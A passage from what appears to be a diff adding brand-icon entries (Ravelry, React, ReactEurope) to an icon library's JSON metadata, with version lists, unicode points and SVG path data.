4.6.4 9.4 1 10.4 0-2.1-8.5-5.8-13.3-9.3-18.2 9.8-.1 24.6 0 23.9-.8l-6-6.1c9.5-2.5 19.3.4 26.4 2.6 3.2-2.5-.1-5.6-3.9-8.8 8.1 1.1 15.4 2.9 22.1 5.4 3.5-3.1-2.3-6.3-5.1-9.4 12.5 2.3 17.8 5.6 23.1 8.9 3.8-3.6.2-6.7-2.4-9.8 9.4 3.4 14.3 7.9 19.4 12.3 1.7-2.3 4.4-4 1.2-9.6 6.7 3.8 11.8 8.3 15.5 13.3 4.1-2.6 2.5-6.2 2.5-9.4 7 5.6 11.4 11.5 16.8 17.3 1.1-.8 2-3.4 2.9-7.6 16.6 15.9 40.1 55.9 6 71.8-29-23.5-63.6-40.7-102-53.5 49.3 25 78 45.3 93.7 62.6-8 31.8-50 33.2-65.4 32.3 3.1-1.4 5.8-3.2 6.7-5.8-4-2.8-17.6-.4-27.2-5.6zm60.1 24.1c16.8 2.8-80.6 86.5-82.1 67.9-1.5-48.7 36.5-75.5 82.1-67.9zM38.2 342c-23.7-18.8-31.3-73.7 12.6-98.3 26.5-7 9 107.8-12.6 98.3zm91 98.2c-13.3 7.9-45.8 4.7-68.8-27.9-15.5-27.4-13.5-55.2-2.6-63.4 16.3-9.8 41.5 3.4 60.9 25.6 16.9 20 24.6 55.3 10.5 65.7zm-26.4-119.7c-24.5-15.8-28.9-51.6-9.9-80s54.3-38.6 78.8-22.8 28.9 51.6 9.9 80c-19.1 28.4-54.4 38.6-78.8 22.8zM205 496c-29.4 1.2-58.2-23.7-57.8-32.3-.4-12.7 35.8-22.6 59.3-22 23.7-1 55.6 7.5 55.7 18.9.5 11-28.8 35.9-57.2 35.4zm58.9-124.9c.2 29.7-26.2 53.8-58.8 54-32.6.2-59.2-23.8-59.4-53.4v-.6c-.2-29.7 26.2-53.8 58.8-54 32.6-.2 59.2 23.8 59.4 53.4v.6zm82.2 42.7c-25.3 34.6-59.6 35.9-72.3 26.3-13.3-12.4-3.2-50.9 15.1-72 20.9-23.3 43.3-38.5 58.9-26.6 10.5 10.3 16.7 49.1-1.7 72.3zm22.9-73.2c-21.5 9.4-39-105.3-12.6-98.3 43.9 24.7 36.3 79.6 12.6 98.3z" + } + }, + "free": [ + "brands" + ] + }, + "ravelry": { + "changes": [ + "4.7", + "5.0.0", + "5.15.1" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2d9", + "label": "Ravelry", + "voted": false, + "svg": { + "brands": { + "last_modified": 1603226785924, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M498.252,234.223c-1.208-10.34-1.7-20.826-3.746-31a310.306,310.306,0,0,0-9.622-36.6,184.068,184.068,0,0,0-30.874-57.5,251.154,251.154,0,0,0-18.818-21.689,237.362,237.362,0,0,0-47.113-36.116A240.8,240.8,0,0,0,331.356,26.65c-11.018-3.1-22.272-5.431-33.515-7.615-6.78-1.314-13.749-1.667-20.627-2.482-.316-.036-.6-.358-.9-.553q-16.143.009-32.288.006c-2.41.389-4.808.925-7.236,1.15a179.331,179.331,0,0,0-34.256,7.1,221.5,221.5,0,0,0-39.768,16.355,281.385,281.385,0,0,0-38.08,24.158c-6.167,4.61-12.268,9.36-17.974,14.518C96.539,88.494,86.34,97.72,76.785,107.555a243.878,243.878,0,0,0-33.648,43.95,206.488,206.488,0,0,0-20.494,44.6,198.2,198.2,0,0,0-7.691,34.759A201.13,201.13,0,0,0,13.4,266.385a299.716,299.716,0,0,0,4.425,40.24,226.865,226.865,0,0,0,16.73,53.3,210.543,210.543,0,0,0,24,39.528,213.589,213.589,0,0,0,26.358,28.416A251.313,251.313,0,0,0,126.7,458.455a287.831,287.831,0,0,0,55.9,25.277,269.5,269.5,0,0,0,40.641,9.835c6.071,1.01,12.275,1.253,18.412,1.873a4.149,4.149,0,0,1,1.19.56h32.289c2.507-.389,5-.937,7.527-1.143,16.336-1.332,32.107-5.335,47.489-10.717A219.992,219.992,0,0,0,379.1,460.322c9.749-6.447,19.395-13.077,28.737-20.1,5.785-4.348,10.988-9.5,16.3-14.457,3.964-3.7,7.764-7.578,11.51-11.5a232.162,232.162,0,0,0,31.427-41.639c9.542-16.045,17.355-32.905,22.3-50.926,2.859-10.413,4.947-21.045,7.017-31.652,1.032-5.279,1.251-10.723,1.87-16.087.036-.317.358-.6.552-.9V236.005A9.757,9.757,0,0,1,498.252,234.223Zm-161.117-1.15s-16.572-2.98-28.47-2.98c-27.2,0-33.57,14.9-33.57,37.04V360.8H201.582V170.062H275.1v31.931c8.924-26.822,26.771-36.189,62.04-36.189Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M498.252,234.223c-1.208-10.34-1.7-20.826-3.746-31a310.306,310.306,0,0,0-9.622-36.6,184.068,184.068,0,0,0-30.874-57.5,251.154,251.154,0,0,0-18.818-21.689,237.362,237.362,0,0,0-47.113-36.116A240.8,240.8,0,0,0,331.356,26.65c-11.018-3.1-22.272-5.431-33.515-7.615-6.78-1.314-13.749-1.667-20.627-2.482-.316-.036-.6-.358-.9-.553q-16.143.009-32.288.006c-2.41.389-4.808.925-7.236,1.15a179.331,179.331,0,0,0-34.256,7.1,221.5,221.5,0,0,0-39.768,16.355,281.385,281.385,0,0,0-38.08,24.158c-6.167,4.61-12.268,9.36-17.974,14.518C96.539,88.494,86.34,97.72,76.785,107.555a243.878,243.878,0,0,0-33.648,43.95,206.488,206.488,0,0,0-20.494,44.6,198.2,198.2,0,0,0-7.691,34.759A201.13,201.13,0,0,0,13.4,266.385a299.716,299.716,0,0,0,4.425,40.24,226.865,226.865,0,0,0,16.73,53.3,210.543,210.543,0,0,0,24,39.528,213.589,213.589,0,0,0,26.358,28.416A251.313,251.313,0,0,0,126.7,458.455a287.831,287.831,0,0,0,55.9,25.277,269.5,269.5,0,0,0,40.641,9.835c6.071,1.01,12.275,1.253,18.412,1.873a4.149,4.149,0,0,1,1.19.56h32.289c2.507-.389,5-.937,7.527-1.143,16.336-1.332,32.107-5.335,47.489-10.717A219.992,219.992,0,0,0,379.1,460.322c9.749-6.447,19.395-13.077,28.737-20.1,5.785-4.348,10.988-9.5,16.3-14.457,3.964-3.7,7.764-7.578,11.51-11.5a232.162,232.162,0,0,0,31.427-41.639c9.542-16.045,17.355-32.905,22.3-50.926,2.859-10.413,4.947-21.045,7.017-31.652,1.032-5.279,1.251-10.723,1.87-16.087.036-.317.358-.6.552-.9V236.005A9.757,9.757,0,0,1,498.252,234.223Zm-161.117-1.15s-16.572-2.98-28.47-2.98c-27.2,0-33.57,14.9-33.57,37.04V360.8H201.582V170.062H275.1v31.931c8.924-26.822,26.771-36.189,62.04-36.189Z" + } + }, + "free": [ + "brands" + ] + }, + "react": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f41b", + "label": "React", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722335, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M418.2 177.2c-5.4-1.8-10.8-3.5-16.2-5.1.9-3.7 1.7-7.4 2.5-11.1 12.3-59.6 4.2-107.5-23.1-123.3-26.3-15.1-69.2.6-112.6 38.4-4.3 3.7-8.5 7.6-12.5 11.5-2.7-2.6-5.5-5.2-8.3-7.7-45.5-40.4-91.1-57.4-118.4-41.5-26.2 15.2-34 60.3-23 116.7 1.1 5.6 2.3 11.1 3.7 16.7-6.4 1.8-12.7 3.8-18.6 5.9C38.3 196.2 0 225.4 0 255.6c0 31.2 40.8 62.5 96.3 81.5 4.5 1.5 9 3 13.6 4.3-1.5 6-2.8 11.9-4 18-10.5 55.5-2.3 99.5 23.9 114.6 27 15.6 72.4-.4 116.6-39.1 3.5-3.1 7-6.3 10.5-9.7 4.4 4.3 9 8.4 13.6 12.4 42.8 36.8 85.1 51.7 111.2 36.6 27-15.6 35.8-62.9 24.4-120.5-.9-4.4-1.9-8.9-3-13.5 3.2-.9 6.3-1.9 9.4-2.9 57.7-19.1 99.5-50 99.5-81.7 0-30.3-39.4-59.7-93.8-78.4zM282.9 92.3c37.2-32.4 71.9-45.1 87.7-36 16.9 9.7 23.4 48.9 12.8 100.4-.7 3.4-1.4 6.7-2.3 10-22.2-5-44.7-8.6-67.3-10.6-13-18.6-27.2-36.4-42.6-53.1 3.9-3.7 7.7-7.2 11.7-10.7zM167.2 307.5c5.1 8.7 10.3 17.4 15.8 25.9-15.6-1.7-31.1-4.2-46.4-7.5 4.4-14.4 9.9-29.3 16.3-44.5 4.6 8.8 9.3 17.5 14.3 26.1zm-30.3-120.3c14.4-3.2 29.7-5.8 45.6-7.8-5.3 8.3-10.5 16.8-15.4 25.4-4.9 8.5-9.7 17.2-14.2 26-6.3-14.9-11.6-29.5-16-43.6zm27.4 68.9c6.6-13.8 13.8-27.3 21.4-40.6s15.8-26.2 24.4-38.9c15-1.1 30.3-1.7 45.9-1.7s31 .6 45.9 1.7c8.5 12.6 16.6 25.5 24.3 38.7s14.9 26.7 21.7 40.4c-6.7 13.8-13.9 27.4-21.6 40.8-7.6 13.3-15.7 26.2-24.2 39-14.9 1.1-30.4 1.6-46.1 1.6s-30.9-.5-45.6-1.4c-8.7-12.7-16.9-25.7-24.6-39s-14.8-26.8-21.5-40.6zm180.6 51.2c5.1-8.8 9.9-17.7 14.6-26.7 6.4 14.5 12 29.2 16.9 44.3-15.5 3.5-31.2 6.2-47 8 5.4-8.4 10.5-17 15.5-25.6zm14.4-76.5c-4.7-8.8-9.5-17.6-14.5-26.2-4.9-8.5-10-16.9-15.3-25.2 16.1 2 31.5 4.7 45.9 8-4.6 14.8-10 29.2-16.1 43.4zM256.2 118.3c10.5 11.4 20.4 23.4 29.6 35.8-19.8-.9-39.7-.9-59.5 0 9.8-12.9 19.9-24.9 29.9-35.8zM140.2 57c16.8-9.8 54.1 4.2 93.4 39 2.5 2.2 5 4.6 7.6 7-15.5 16.7-29.8 34.5-42.9 53.1-22.6 2-45 5.5-67.2 10.4-1.3-5.1-2.4-10.3-3.5-15.5-9.4-48.4-3.2-84.9 12.6-94zm-24.5 263.6c-4.2-1.2-8.3-2.5-12.4-3.9-21.3-6.7-45.5-17.3-63-31.2-10.1-7-16.9-17.8-18.8-29.9 0-18.3 31.6-41.7 77.2-57.6 5.7-2 11.5-3.8 17.3-5.5 6.8 21.7 15 43 24.5 63.6-9.6 20.9-17.9 42.5-24.8 64.5zm116.6 98c-16.5 15.1-35.6 27.1-56.4 35.3-11.1 5.3-23.9 5.8-35.3 1.3-15.9-9.2-22.5-44.5-13.5-92 1.1-5.6 2.3-11.2 3.7-16.7 22.4 4.8 45 8.1 67.9 9.8 13.2 18.7 27.7 36.6 43.2 53.4-3.2 3.1-6.4 6.1-9.6 8.9zm24.5-24.3c-10.2-11-20.4-23.2-30.3-36.3 9.6.4 19.5.6 29.5.6 10.3 0 20.4-.2 30.4-.7-9.2 12.7-19.1 24.8-29.6 36.4zm130.7 30c-.9 12.2-6.9 23.6-16.5 31.3-15.9 9.2-49.8-2.8-86.4-34.2-4.2-3.6-8.4-7.5-12.7-11.5 15.3-16.9 29.4-34.8 42.2-53.6 22.9-1.9 45.7-5.4 68.2-10.5 1 4.1 1.9 8.2 2.7 12.2 4.9 21.6 5.7 44.1 2.5 66.3zm18.2-107.5c-2.8.9-5.6 1.8-8.5 2.6-7-21.8-15.6-43.1-25.5-63.8 9.6-20.4 17.7-41.4 24.5-62.9 5.2 1.5 10.2 3.1 15 4.7 46.6 16 79.3 39.8 79.3 58 0 19.6-34.9 44.9-84.8 61.4zm-149.7-15c25.3 0 45.8-20.5 45.8-45.8s-20.5-45.8-45.8-45.8c-25.3 0-45.8 20.5-45.8 45.8s20.5 45.8 45.8 45.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M418.2 177.2c-5.4-1.8-10.8-3.5-16.2-5.1.9-3.7 1.7-7.4 2.5-11.1 12.3-59.6 4.2-107.5-23.1-123.3-26.3-15.1-69.2.6-112.6 38.4-4.3 3.7-8.5 7.6-12.5 11.5-2.7-2.6-5.5-5.2-8.3-7.7-45.5-40.4-91.1-57.4-118.4-41.5-26.2 15.2-34 60.3-23 116.7 1.1 5.6 2.3 11.1 3.7 16.7-6.4 1.8-12.7 3.8-18.6 5.9C38.3 196.2 0 225.4 0 255.6c0 31.2 40.8 62.5 96.3 81.5 4.5 1.5 9 3 13.6 4.3-1.5 6-2.8 11.9-4 18-10.5 55.5-2.3 99.5 23.9 114.6 27 15.6 72.4-.4 116.6-39.1 3.5-3.1 7-6.3 10.5-9.7 4.4 4.3 9 8.4 13.6 12.4 42.8 36.8 85.1 51.7 111.2 36.6 27-15.6 35.8-62.9 24.4-120.5-.9-4.4-1.9-8.9-3-13.5 3.2-.9 6.3-1.9 9.4-2.9 57.7-19.1 99.5-50 99.5-81.7 0-30.3-39.4-59.7-93.8-78.4zM282.9 92.3c37.2-32.4 71.9-45.1 87.7-36 16.9 9.7 23.4 48.9 12.8 100.4-.7 3.4-1.4 6.7-2.3 10-22.2-5-44.7-8.6-67.3-10.6-13-18.6-27.2-36.4-42.6-53.1 3.9-3.7 7.7-7.2 11.7-10.7zM167.2 307.5c5.1 8.7 10.3 17.4 15.8 25.9-15.6-1.7-31.1-4.2-46.4-7.5 4.4-14.4 9.9-29.3 16.3-44.5 4.6 8.8 9.3 17.5 14.3 26.1zm-30.3-120.3c14.4-3.2 29.7-5.8 45.6-7.8-5.3 8.3-10.5 16.8-15.4 25.4-4.9 8.5-9.7 17.2-14.2 26-6.3-14.9-11.6-29.5-16-43.6zm27.4 68.9c6.6-13.8 13.8-27.3 21.4-40.6s15.8-26.2 24.4-38.9c15-1.1 30.3-1.7 45.9-1.7s31 .6 45.9 1.7c8.5 12.6 16.6 25.5 24.3 38.7s14.9 26.7 21.7 40.4c-6.7 13.8-13.9 27.4-21.6 40.8-7.6 13.3-15.7 26.2-24.2 39-14.9 1.1-30.4 1.6-46.1 1.6s-30.9-.5-45.6-1.4c-8.7-12.7-16.9-25.7-24.6-39s-14.8-26.8-21.5-40.6zm180.6 51.2c5.1-8.8 9.9-17.7 14.6-26.7 6.4 14.5 12 29.2 16.9 44.3-15.5 3.5-31.2 6.2-47 8 5.4-8.4 10.5-17 15.5-25.6zm14.4-76.5c-4.7-8.8-9.5-17.6-14.5-26.2-4.9-8.5-10-16.9-15.3-25.2 16.1 2 31.5 4.7 45.9 8-4.6 14.8-10 29.2-16.1 43.4zM256.2 118.3c10.5 11.4 20.4 23.4 29.6 35.8-19.8-.9-39.7-.9-59.5 0 9.8-12.9 19.9-24.9 29.9-35.8zM140.2 57c16.8-9.8 54.1 4.2 93.4 39 2.5 2.2 5 4.6 7.6 7-15.5 16.7-29.8 34.5-42.9 53.1-22.6 2-45 5.5-67.2 10.4-1.3-5.1-2.4-10.3-3.5-15.5-9.4-48.4-3.2-84.9 12.6-94zm-24.5 263.6c-4.2-1.2-8.3-2.5-12.4-3.9-21.3-6.7-45.5-17.3-63-31.2-10.1-7-16.9-17.8-18.8-29.9 0-18.3 31.6-41.7 77.2-57.6 5.7-2 11.5-3.8 17.3-5.5 6.8 21.7 15 43 24.5 63.6-9.6 20.9-17.9 42.5-24.8 64.5zm116.6 98c-16.5 15.1-35.6 27.1-56.4 35.3-11.1 5.3-23.9 5.8-35.3 1.3-15.9-9.2-22.5-44.5-13.5-92 1.1-5.6 2.3-11.2 3.7-16.7 22.4 4.8 45 8.1 67.9 9.8 13.2 18.7 27.7 36.6 43.2 53.4-3.2 3.1-6.4 6.1-9.6 8.9zm24.5-24.3c-10.2-11-20.4-23.2-30.3-36.3 9.6.4 19.5.6 29.5.6 10.3 0 20.4-.2 30.4-.7-9.2 12.7-19.1 24.8-29.6 36.4zm130.7 30c-.9 12.2-6.9 23.6-16.5 31.3-15.9 9.2-49.8-2.8-86.4-34.2-4.2-3.6-8.4-7.5-12.7-11.5 15.3-16.9 29.4-34.8 42.2-53.6 22.9-1.9 45.7-5.4 68.2-10.5 1 4.1 1.9 8.2 2.7 12.2 4.9 21.6 5.7 44.1 2.5 66.3zm18.2-107.5c-2.8.9-5.6 1.8-8.5 2.6-7-21.8-15.6-43.1-25.5-63.8 9.6-20.4 17.7-41.4 24.5-62.9 5.2 1.5 10.2 3.1 15 4.7 46.6 16 79.3 39.8 79.3 58 0 19.6-34.9 44.9-84.8 61.4zm-149.7-15c25.3 0 45.8-20.5 45.8-45.8s-20.5-45.8-45.8-45.8c-25.3 0-45.8 20.5-45.8 45.8s20.5 45.8 45.8 45.8z" + } + }, + "free": [ + "brands" + ] + }, + "reacteurope": { + "changes": [ + "5.5.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f75d", + "label": "ReactEurope", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775908, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M250.6 211.74l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm63.7 0l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.2-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm-91.3 50.5h-3.4c-4.8 0-3.8 4-3.8 12.1 0 4.7-2.3 6.1-5.8 6.1s-5.8-1.4-5.8-6.1v-36.6c0-4.7 2.3-6.1 5.8-6.1s5.8 1.4 5.8 6.1c0 7.2-.7 10.5 3.8 10.5h3.4c4.7-.1 3.8-3.9 3.8-12.3 0-9.9-6.7-14.1-16.8-14.1h-.2c-10.1 0-16.8 4.2-16.8 14.1V276c0 10.4 6.7 14.1 16.8 14.1h.2c10.1 0 16.8-3.8 16.8-14.1 0-9.86 1.1-13.76-3.8-13.76zm-80.7 17.4h-14.7v-19.3H139c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-11.4v-18.3H142c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-21.7c-2.4-.1-3.7 1.3-3.7 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h21.9c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8zm-42-18.5c4.6-2 7.3-6 7.3-12.4v-11.9c0-10.1-6.7-14.1-16.8-14.1H77.4c-2.5 0-3.8 1.3-3.8 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5 0 3.8-1.3 3.8-3.8v-22.9h5.6l7.4 23.5a4.1 4.1 0 0 0 4.3 3.2h3.3c2.8 0 4-1.8 3.2-4.4zm-3.8-14c0 4.8-2.5 6.1-6.1 6.1h-5.8v-20.9h5.8c3.6 0 6.1 1.3 6.1 6.1zM176 226a3.82 3.82 0 0 0-4.2-3.4h-6.9a3.68 3.68 0 0 0-4 3.4l-11 59.2c-.5 2.7.9 4.1 3.4 4.1h3a3.74 3.74 0 0 0 4.1-3.5l1.8-11.3h12.2l1.8 11.3a3.74 3.74 0 0 0 4.1 3.5h3.5c2.6 0 3.9-1.4 3.4-4.1zm-12.3 39.3l4.7-29.7 4.7 29.7zm89.3 20.2v-53.2h7.5c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-25.8c-2.5 0-3.8 1.3-3.8 3.8v2.1c0 2.5 1.3 3.8 3.8 3.8h7.3v53.2c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5.04 3.8-1.3 3.8-3.76zm248-.8h-19.4V258h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9H501a1.81 1.81 0 0 0 2-1.9v-.8a1.84 1.84 0 0 0-2-1.96zm-93.1-62.9h-.8c-10.1 0-15.3 4.7-15.3 14.1V276c0 9.3 5.2 14.1 15.3 14.1h.8c10.1 0 15.3-4.8 15.3-14.1v-40.1c0-9.36-5.2-14.06-15.3-14.06zm10.2 52.4c-.1 8-3 11.1-10.5 11.1s-10.5-3.1-10.5-11.1v-36.6c0-7.9 3-11.1 10.5-11.1s10.5 3.2 10.5 11.1zm-46.5-14.5c6.1-1.6 9.2-6.1 9.2-13.3v-9.7c0-9.4-5.2-14.1-15.3-14.1h-13.7a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.9h11.6l10.4 27.2a2.32 2.32 0 0 0 2.3 1.5h1.5c1.4 0 2-1 1.5-2.3zm-6.4-3.9H355v-28.5h10.2c7.5 0 10.5 3.1 10.5 11.1v6.4c0 7.84-3 11.04-10.5 11.04zm85.9-33.1h-13.7a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.1h10.6c10.1 0 15.3-4.8 15.3-14.1v-10.5c0-9.4-5.2-14.1-15.3-14.1zm10.2 22.8c0 7.9-3 11.1-10.5 11.1h-10.2v-29.2h10.2c7.5-.1 10.5 3.1 10.5 11zM259.5 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm227.6-136.1a364.42 364.42 0 0 0-35.6-11.3c19.6-78 11.6-134.7-22.3-153.9C394.7-12.66 343.3 11 291 61.94q5.1 4.95 10.2 10.2c82.5-80 119.6-53.5 120.9-52.8 22.4 12.7 36 55.8 15.5 137.8a587.83 587.83 0 0 0-84.6-13C281.1 43.64 212.4 2 170.8 2 140 2 127 23 123.2 29.74c-18.1 32-13.3 84.2.1 133.8-70.5 20.3-120.7 54.1-120.3 95 .5 59.6 103.2 87.8 122.1 92.8-20.5 81.9-10.1 135.6 22.3 153.9 28 15.8 75.1 6 138.2-55.2q-5.1-4.95-10.2-10.2c-82.5 80-119.7 53.5-120.9 52.8-22.3-12.6-36-55.6-15.5-137.9 12.4 2.9 41.8 9.5 84.6 13 71.9 100.4 140.6 142 182.1 142 30.8 0 43.8-21 47.6-27.7 18-31.9 13.3-84.1-.1-133.8 152.3-43.8 156.2-130.2 33.9-176.3zM135.9 36.84c2.9-5.1 11.9-20.3 34.9-20.3 36.8 0 98.8 39.6 163.3 126.2a714 714 0 0 0-93.9.9 547.76 547.76 0 0 1 42.2-52.4Q277.3 86 272.2 81a598.25 598.25 0 0 0-50.7 64.2 569.69 569.69 0 0 0-84.4 14.6c-.2-1.4-24.3-82.2-1.2-123zm304.8 438.3c-2.9 5.1-11.8 20.3-34.9 20.3-36.7 0-98.7-39.4-163.3-126.2a695.38 695.38 0 0 0 93.9-.9 547.76 547.76 0 0 1-42.2 52.4q5.1 5.25 10.2 10.2a588.47 588.47 0 0 0 50.7-64.2c47.3-4.7 80.3-13.5 84.4-14.6 22.7 84.4 4.5 117 1.2 123zm9.1-138.6c-3.6-11.9-7.7-24.1-12.4-36.4a12.67 12.67 0 0 1-10.7-5.7l-.1.1a19.61 19.61 0 0 1-5.4 3.6c5.7 14.3 10.6 28.4 14.7 42.2a535.3 535.3 0 0 1-72 13c3.5-5.3 17.2-26.2 32.2-54.2a24.6 24.6 0 0 1-6-3.2c-1.1 1.2-3.6 4.2-10.9 4.2-6.2 11.2-17.4 30.9-33.9 55.2a711.91 711.91 0 0 1-112.4 1c-7.9-11.2-21.5-31.1-36.8-57.8a21 21 0 0 1-3-1.5c-1.9 1.6-3.9 3.2-12.6 3.2 6.3 11.2 17.5 30.7 33.8 54.6a548.81 548.81 0 0 1-72.2-11.7q5.85-21 14.1-42.9c-3.2 0-5.4.2-8.4-1a17.58 17.58 0 0 1-6.9 1c-4.9 13.4-9.1 26.5-12.7 39.4C-31.7 297-12.1 216 126.7 175.64c3.6 11.9 7.7 24.1 12.4 36.4 10.4 0 12.9 3.4 14.4 5.3a12 12 0 0 1 2.3-2.2c-5.8-14.7-10.9-29.2-15.2-43.3 7-1.8 32.4-8.4 72-13-15.9 24.3-26.7 43.9-32.8 55.3a14.22 14.22 0 0 1 6.4 8 23.42 23.42 0 0 1 10.2-8.4c6.5-11.7 17.9-31.9 34.8-56.9a711.72 711.72 0 0 1 112.4-1c31.5 44.6 28.9 48.1 42.5 64.5a21.42 21.42 0 0 1 10.4-7.4c-6.4-11.4-17.6-31-34.3-55.5 40.4 4.1 65 10 72.2 11.7-4 14.4-8.9 29.2-14.6 44.2a20.74 20.74 0 0 1 6.8 4.3l.1.1a12.72 12.72 0 0 1 8.9-5.6c4.9-13.4 9.2-26.6 12.8-39.5a359.71 359.71 0 0 1 34.5 11c106.1 39.9 74 87.9 72.6 90.4-19.8 35.1-80.1 55.2-105.7 62.5zm-114.4-114h-1.2a1.74 1.74 0 0 0-1.9 1.9v49.8c0 7.9-2.6 11.1-10.1 11.1s-10.1-3.1-10.1-11.1v-49.8a1.69 1.69 0 0 0-1.9-1.9H309a1.81 1.81 0 0 0-2 1.9v51.5c0 9.6 5 14.1 15.1 14.1h.4c10.1 0 15.1-4.6 15.1-14.1v-51.5a2 2 0 0 0-2.2-1.9zM321.7 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm-31.1 7.4l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm5.1-30.8h-19.4v-26.7h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h22.5a1.77 1.77 0 0 0 2-1.9v-.8a1.83 1.83 0 0 0-2-2.06zm-7.4-99.4L286 192l-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M250.6 211.74l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm63.7 0l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.2-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm-91.3 50.5h-3.4c-4.8 0-3.8 4-3.8 12.1 0 4.7-2.3 6.1-5.8 6.1s-5.8-1.4-5.8-6.1v-36.6c0-4.7 2.3-6.1 5.8-6.1s5.8 1.4 5.8 6.1c0 7.2-.7 10.5 3.8 10.5h3.4c4.7-.1 3.8-3.9 3.8-12.3 0-9.9-6.7-14.1-16.8-14.1h-.2c-10.1 0-16.8 4.2-16.8 14.1V276c0 10.4 6.7 14.1 16.8 14.1h.2c10.1 0 16.8-3.8 16.8-14.1 0-9.86 1.1-13.76-3.8-13.76zm-80.7 17.4h-14.7v-19.3H139c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-11.4v-18.3H142c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-21.7c-2.4-.1-3.7 1.3-3.7 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h21.9c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8zm-42-18.5c4.6-2 7.3-6 7.3-12.4v-11.9c0-10.1-6.7-14.1-16.8-14.1H77.4c-2.5 0-3.8 1.3-3.8 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5 0 3.8-1.3 3.8-3.8v-22.9h5.6l7.4 23.5a4.1 4.1 0 0 0 4.3 3.2h3.3c2.8 0 4-1.8 3.2-4.4zm-3.8-14c0 4.8-2.5 6.1-6.1 6.1h-5.8v-20.9h5.8c3.6 0 6.1 1.3 6.1 6.1zM176 226a3.82 3.82 0 0 0-4.2-3.4h-6.9a3.68 3.68 0 0 0-4 3.4l-11 59.2c-.5 2.7.9 4.1 3.4 4.1h3a3.74 3.74 0 0 0 4.1-3.5l1.8-11.3h12.2l1.8 11.3a3.74 3.74 0 0 0 4.1 3.5h3.5c2.6 0 3.9-1.4 3.4-4.1zm-12.3 39.3l4.7-29.7 4.7 29.7zm89.3 20.2v-53.2h7.5c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-25.8c-2.5 0-3.8 1.3-3.8 3.8v2.1c0 2.5 1.3 3.8 3.8 3.8h7.3v53.2c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5.04 3.8-1.3 3.8-3.76zm248-.8h-19.4V258h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9H501a1.81 1.81 0 0 0 2-1.9v-.8a1.84 1.84 0 0 0-2-1.96zm-93.1-62.9h-.8c-10.1 0-15.3 4.7-15.3 14.1V276c0 9.3 5.2 14.1 15.3 14.1h.8c10.1 0 15.3-4.8 